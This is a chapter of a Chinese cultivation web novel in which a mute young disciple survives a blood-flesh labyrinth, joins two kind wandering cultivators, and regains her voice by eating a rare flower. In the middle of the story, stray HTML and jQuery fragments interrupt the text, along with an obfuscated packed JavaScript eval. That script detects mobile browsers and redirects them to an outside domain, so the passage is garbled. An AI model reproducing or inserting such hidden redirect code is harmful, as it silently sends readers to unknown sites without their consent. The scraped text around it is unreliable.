5. 血肉熔炉
作品:《哑巴师妹有话要说》 燕衔花跌入血海。
她坠落,落入泛滥的深红;
她下沉,沉入漫流的漆黑。
燕衔花短暂的一生,好似梦幻泡影、石火电光,稍纵即逝。
她回想起那一日,电闪雷鸣,狂风暴雨,自己竭力挣动:
“不要!不要——”
她想逃,有人按住了她的手脚;
她想哭,有人捂住了她的口鼻。
“春燕啊,一副嗓子而已!懂事点儿,让给云师姐,别这么小家子气。”
有人苦口婆心。
“贱骨头,哭啼什么!柳家的侍婢,买来的玩意儿,云师姐没嫌脏呢!”
有人穷形尽相。
“云师姐,快住手!!这小丫头凭一副好嗓子才站稳脚跟,你若夺了去,叫她往后如何过活?”
那一日,唯有九师姐,把她当作人来看。
只不过……太弱了。
“你是谁?没走错门吧??一条外门的野狗,也有胆儿上内门狂吠!”
有人一脚踹开了九师姐:
“大娘,大婶,大姨!——你这都一把年纪了,连筑基期都没有,不害臊么?”
众人哄堂大笑。小春燕流尽了眼泪,终究没能够挣脱。
就这样,她哑了。
燕衔花好痛。
她翻身坐起,只觉得喉头撕心裂肺地疼,咽不下,又吐不出,疼——疼极了——燕衔花疼极了,比云师姐夺去她嗓子那天还要疼!
——咳!!
燕衔花喷出一大口血来,三魂都吐去了六魄,她眼前阵阵发黑,耳边隆隆作响:
她大限将至。
血不循经,溢于脉外——燕衔花的“凶心机变”急剧加深,她惊恐地发觉,有什么东西……从嗓子眼儿里……活了过来!
燕衔花回想起“废肉”的奇形异状,那就是她的下场,沦为一头面目全非的怪物,成天在血肉熔炉里痴愚地漫爬,昏昏沉沉、浑浑噩噩,最终死在某个人的剑下。
不……不要……她不要……
燕衔花想振作起来,眼泪却止不住地往下掉。她只有十六岁,她还没活够,她不想死——她不能死——她不该死!
该死的是云师姐!
该死的是强逼她外出寻宝的天问宗内门弟子!!
该死的是邪祟、是活机关、是“凶心机变”!!!
不要哭……不要哭……不要哭。
燕衔花发着抖,擦干自己的眼泪,要乐观、要冷静、要主动,她能够处理好一切。
她跌入血海,不知冲去了何处。燕衔花抬头打量四周,红肉砌墙、白骨结梁,毫无疑问,此地还是血肉熔炉一隅,千万修士求生不得、求死不能的魔窟。
——那么,振作起来,活下去。
燕衔花打点行装,量天仪与机关雀完好无损,“心月狐之髓”也……不,这玩意儿可是天工玉,比她自个儿的命还要硬,没弄丢就行。
还不赖。燕衔花强迫自己开心起来,这么看情况也不坏——不就是又落单了、又受伤了、又迷路了?她一定能处理好!
……没事的,不要再哭啦……再掉两三颗眼泪,可一定要向前看了哦?……
·
·
·
——什么人?
燕衔花机警地抬起头。
“喔,这不是天问宗的小仙子啵?又漂亮了喔!”
人声由远及近,只见一胖一瘦、一高一矮,一对儿修士叮叮当当地冒了出来。
先前,在右岔道,燕衔花见过二人。百越地的散修,一身叮叮当当的银饰,想忘记都难。
燕衔花扯动面皮,虚弱而苍白的笑容泪一般地淌落,粥粥无能,楚楚可怜:
“见过两位仙长。”
袖摆遮掩下,她的小指不着痕迹地弯曲,勾扯起一根“祸络”来。
不过是点头之交而已。燕衔花向来不对陌生人的思想道德修养与法律基础抱有幻想,她眼尾掠过对方的站位、彼此的距离,神态放松,筋骨绷紧,做好了暴起搏杀的准备。
——要怎样?合围一个离群的天问?那头人身蛇尾“废肉”的死状还不够惨么?
胖子修士叮叮当当地走近:
“太好了喔!小仙子还记得我们,要不结个伴一起逃出去啵?”
燕衔花:“……”
演的吧?
胖子修士叮叮当当地挠头:
“我叫大松,他是二竹,合称‘岁寒三友’,很好记的喔。”
“是啦是啦,”瘦子修士叮叮当当地应和,“小仙子别怕啦,我们‘岁寒三友’最讲江湖道义啦,一定会护送你出去的啦,以后来百越玩啦,请你吃粉啦。”
燕衔花:“……”
演的吧。
她疑虑未消:“——无意冒犯,但是,岁寒‘三’友?”
岁寒三友,松、竹、梅,这才两个人。
难道说,谁怀孕了不成?燕衔花顿时回想起话本子里,百越地的诡秘传闻,什么雌雄同体、阴阳合道……一时间细思极恐。
“还没找到命中注定的小梅喔,”大松叮叮当当地郁闷,“暂时就我和二竹两兄弟,充充门面、装装样子喔。”
燕衔花:“……”
演的吧!
“难不成你就是命中注定的小梅喔?!”二竹叮叮当当地惊讶,“——表哥,我们‘岁寒三友’一家人,终于要团圆了喔!”
燕衔花:“……”
演的吧!!
·
·
·
“邪祟的房子那么依妖的,上上下下、弯弯绕绕,不得喔,我好想回家啦。”
二竹大声抱怨:
“在百越还能骑鬼火、吃龙虱,出到外面只有一帮叼毛笑人说话有口音,搞到底有什么意思啦?”
“表弟骂捞仔没关你事啦。”大松小声补充。
非也,燕衔花乖巧地点头称是,心想我就是叼毛。
叼毛缀在大松和二竹的后边,拉开了至少五步的距离,既不跟上,也不掉队,利用同行人探路的意图不言自明。
——够明显了吧?
燕衔花由衷地希望,大松和二竹,能尽快看穿自己的用心,别这么热心快肠地对待她才好。
……她配不上那些。
“小梅,”大松狐疑,“你走得好慢喔……”
呀,终于发现了?燕衔花内心冷笑一声。
“你是受伤了啵?”大松担心,“我来背你走!”
燕衔花:?
什、什么?
“不用跟他客气啦,”二竹帮腔,“都说‘岁寒三友’最讲江湖道义啦,小梅又这么漂亮,在百越有一万个男仔乐意背你走到南天门啦!”
燕衔花:“……”
到底为什么……
她已经很久没有感受过善意了,活像是阴沟里的老鼠,不知所措地暴晒在百越地热辣的阳光下。
呀——!烦死了!
燕衔花咬住嘴唇,活像是要和谁同归于尽似的,气鼓鼓、凶巴巴地闷头追上了大松与二竹。
·
·
·</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463970|185429||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“这些是什么啦?”二竹好奇地弯下腰,“没见过喔。”
先前,燕衔花起卦问路,决定了“岁寒三友”的行进方向。不多时,羊肠鸟道豁然开朗,众人陷入了一片齐膝深的花海。花朵奇形怪状,那花瓣好似窄细的钩爪,漆黑如同夤夜本身,合拢住蕊心一缕苍白的火焰。
沙——沙沙——
风不安地躁动,花海完成了一次壮丽的欹斜,漆黑摇曳,苍白飘拂,死亡与新生偕同织就成伟大光华的胜景。
燕衔花不可思议地睁大了眼睛。
怎么会……?
她、她在做梦吗?
这就是内门弟子强逼她外出探寻的宝物,世间罕见的仙葩,刨穿了地皮未必能找到一朵的:
——“薄情寡义红”!
当然了,坐拥天材地宝的内门弟子,并非指望燕衔花他们能够成功找到“薄情寡义红”。只不过是九师姐拔出了从六品的剑骨,一时间风头太盛,寻个借口羞/辱她罢了。
燕衔花做梦也没想到,还真给她找到了薄情寡义红,这么多……这么多!!
一百朵?一千朵?一万朵?
惊喜太突然,她脱力地跌坐,指尖止不住地发颤,想摘花又忍住了——医书上怎么说的来着?
采未老枝茎,汁正充溢;
摘将开花蕊,气尚包藏。
是、是这样,燕衔花直起上身,立刻拣出来一朵合适的。
她气息急促,指尖更是止不住地颤抖,小心谨慎地择去了一片狭长的花瓣。“薄情寡义红”苦比黄檗,寒若银针,燕衔花强逼自己吞咽下去,又反手封住了内关穴,以防她呕出来。
“小梅喔,什么龙肉也不能这么吃!”二竹大惊失色。
他们不识字,没见过什么“薄情寡义红”,倒也猜得出这是价值连城的宝贝。
但是,大松穿过世间罕见的仙葩,连正眼都欠奉——他催动起一掌灵气,来帮燕衔花:比起这些,兄弟俩更在意小梅的死活,“岁寒三友”最讲江湖道义了!
机关雀发颤:“别……”
燕衔花自己就是大夫,深知“薄情寡义红”绝不该这么吃,它攻关拔固,功过牵、黄,摧滞逐实,力浮硝、戟,半掌宽的花瓣捣碎了煎服,配伍与炮制也缺一不可。
——她直接干嚼了一整瓣!!
燕衔花掐住自己的脖颈,“薄情寡义红”在她的喉舌间放了一把火,呕心抽肠之苦无非如此,摧胸破肝之痛不外如是!
“小梅你这是做什么啦?”大松忧心如焚。
燕衔花在做什么?
她没时间了,她必须要赌!
赌“薄情寡义红”能与“凶心机变”相抗!
赌天地不仁、仇雠不灭,她命不该绝!!
——咳!!
燕衔花眼前一黑,只觉得魂飞天外、魄散九霄,待五内皆还,六神尽复……她没死。
她是一掷千金的赌徒,亦为向死而生的赢家。
“呵……呵呵……”
燕衔花脸色苍白如纸,唇边殷红似火,她笑了——她笑出了声——她竟然笑出了声,如癫似狂,惊心动魄。
神龙七年春,一十六岁的金科玉律天尊,终于听见了自己的声音,哪怕只能是再简单不过的语气词。
她放声狂笑。
·
·
·
注1:“采未老枝茎……”出自《本草蒙筌》。
注2:“攻关拔固……”出自《本草汇言》。
注3:“五内皆还,六神尽复”出自《髑髅赋》。